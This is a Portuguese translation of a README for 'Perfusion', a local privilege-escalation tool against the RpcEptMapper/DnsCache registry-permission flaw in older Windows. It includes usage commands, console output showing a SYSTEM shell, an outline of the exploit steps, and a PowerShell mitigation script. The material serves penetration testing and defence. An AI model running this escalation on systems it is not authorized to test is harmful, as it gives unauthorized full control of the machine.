
Exploit para a vulnerabilidade de permissões da chave de registro RpcEptMapper (Windows 7 / 2088R2 / 8 / 2012)
No Windows 7, Windows Server 2008R2, Windows 8 e Windows Server 2012, a chave de registro dos serviços RpcEptMapper e DnsCache (apenas 7/2008R2) está configurada com permissões fracas. Qualquer usuário local pode criar uma subchave Performance e então aproveitar os Windows Performance Counters para carregar uma DLL arbitrária no contexto do serviço WMI como NT AUTHORITY\SYSTEM (daí o nome da ferramenta).
Esta ferramenta foi projetada para ajudar consultores de segurança durante testes de penetração. Este software é fornecido como está, e provavelmente não fornecerei suporte. No entanto, testei-o completamente em três máquinas virtuais diferentes, portanto não deve haver nenhum problema significativo.
Para mais informações: https://itm4n.github.io/windows-registry-rpceptmapper-eop/
De acordo com 0patch, esta vulnerabilidade foi parcialmente corrigida com a Atualização do Windows de abril de 2021 (ESU). Isso significa que máquinas executando uma versão atualizada do Windows 8 / Server 2012 não devem mais ser exploráveis. No entanto, Windows 7 / Server 2008 R2 permanece vulnerável. Basta usar a chave de registro Dnscache em vez de RpcEptMapper. Atualizei o PoC para que você possa especificá-la manualmente com a opção -k.
⚠️ LEIA ISTO ANTES DE USAR ESTA FERRAMENTA ⚠️
Durante a fase de desenvolvimento desta ferramenta, observei dois comportamentos diferentes:
NT AUTHORITY\SYSTEM, neste caso o exploit funciona perfeitamente.NT AUTHORITY\LOCAL SERVICE. Neste caso, o serviço carrega a DLL enquanto personifica o cliente. Acontece que uma escalada de privilégio ainda é possível no Windows 7 (devido a outra vulnerabilidade), mas o custo de implementação não valeu o esforço.Não consigo explicar essa diferença porque meu código de gatilho era sempre o mesmo. De qualquer forma, em ambos os casos, deixe o exploit fazer seu trabalho para que ele possa limpar tudo quando terminar. Se o exploit falhar, ainda há uma chance de funcionar alguns minutos ou horas depois.
✔️ Aqui está o que você deve ver quando o exploit funciona:
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_2900_368_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[+] Exploit completed. Got a SYSTEM token! :)
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.
C:\Temp>whoami
nt authority\system
C:\Temp>
❌ Aqui está o que você deve ver quando o exploit falha:
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_636_3000_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[-] Exploit completed but no SYSTEM Token. :/
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
C:\Temp>
Esta solução é composta por dois projetos que precisam ser compilados em uma ordem específica. Tudo está pré-configurado, então basta seguir estas instruções simples:
Release / x64Build > Build SolutionVocê pode verificar a mensagem de ajuda usando a opção -h.
C:\TOOLS>Perfusion.exe -h
_____ ___ _
| _ |___ ___| _|_ _ ___|_|___ ___
| __| -_| _| _| | |_ -| | . | | version 0.2
|__| |___|_| |_| |___|___|_|___|_|_| by @itm4n
Description:
Exploit tool for the RpcEptMapper registry key vulnerability.
Options:
-c <CMD> Command - Execute the specified command line
-i Interactive - Interact with the process (default: non-interactive)
-d Desktop - Spawn a new process on your desktop (default: hidden)
-k <KEY> Key - Either 'RpcEptMapper' or 'Dnscache' (default: 'RpcEptMapper')
-h Help - That's me :)
As seguintes versões do Windows são vulneráveis:
| Versão do Windows | Chaves de registro vulneráveis |
|---|---|
| Windows 7 | RpcEptMapper, DnsCache |
| Windows Server 2008R2 | RpcEptMapper, DnsCache |
| Windows 8 | RpcEptMapper |
| Windows Server 2012 | RpcEptMapper |
Até onde sei, esta vulnerabilidade não será corrigida pela Microsoft, por algum motivo. A melhor solução ainda é atualizar para Windows 10 / Server 2019, mas se não for uma opção a curto prazo, você pode corrigir este problema manualmente removendo a permissão CreateSubKey tanto para NT AUTHORITY\Authenticated Users quanto para BUILTIN\Users nas seguintes chaves de registro:
HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapperHKLM\SYSTEM\CurrentControlSet\Services\DnsCacheCriei um patch para esta vulnerabilidade na forma de um script PowerShell: RegistryPatch.ps1. Este script remove o direito CreateSubKey nas duas chaves de registro mencionadas acima para as seguintes identidades: NT AUTHORITY\INTERACTIVE, BUILTIN\Users e/ou BUILTIN\Authenticated Users.
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
True
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Patch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: The new ACL was applied
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\INTERACTIVE" has "QueryValues, CreateSubKey, EnumerateSubKeys, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "CreateSubKey, ReadKey" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: The new ACL was applied
True
Abaixo estão as etapas do exploit implementadas nesta ferramenta:
Temp do usuário atual.Performance é criada em HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper e é preenchida com os valores apropriados, incluindo o caminho completo da DLL criada na etapa 2.Win32_Perf é criada e invocada para acionar a coleta dos Windows Performance Counters.NT AUTHORITY\SYSTEM ou NT AUTHORITY\LOCAL SERVICE.NT AUTHORITY\SYSTEM, seu Token é duplicado e aplicado ao Processo que foi inicialmente criado pelo usuário na etapa 1.